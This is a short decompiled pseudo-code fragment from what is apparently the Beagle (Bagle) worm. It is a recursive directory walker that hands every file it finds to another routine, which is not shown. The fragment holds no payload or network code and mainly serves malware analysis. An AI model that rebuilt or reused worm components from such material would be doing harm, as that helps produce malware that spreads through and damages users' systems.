Private Function beagle.usub_402bcb.txt
FLocal2 = LocalAlloc(0,318)
lstrcatA(#ARG4,"*.*")
FLocal5 = FindFirstFileA(#ARG4,FLocal2)
If (FLocal5 + 1)
(TOKEN_WHILE 402C18)
(OFFSET-CONTAINER 1
lstrlenA(#ARG4)
1 #ARG4) = 0
If ((OFFSET-CONTAINER 1 [OFFSET-CONTAINER] 1 FLocal2 44 NUMBER) != 46)
If ((OFFSET-CONTAINER 1 [OFFSET-CONTAINER] 1 FLocal2 44 NUMBER) != 11822)
lstrcatA(#ARG4,([OFFSET-CONTAINER] 1 FLocal2 44 NUMBER))
If ((OFFSET-CONTAINER 1 OFFSET-CONTAINER 1 FLocal2) = 16)
lstrcatA(#ARG4,"\\")
usub_402bcb
Else
usub_402b8f(#ARG4)
End If
End If
End If
Sleep(1)
Loop While (FindNextFileA(FLocal5,FLocal2) != 0)
FindClose(FLocal5)
End If
LocalFree(LocalAlloc(0,1024))
Return LocalFree(FLocal2)
End Sub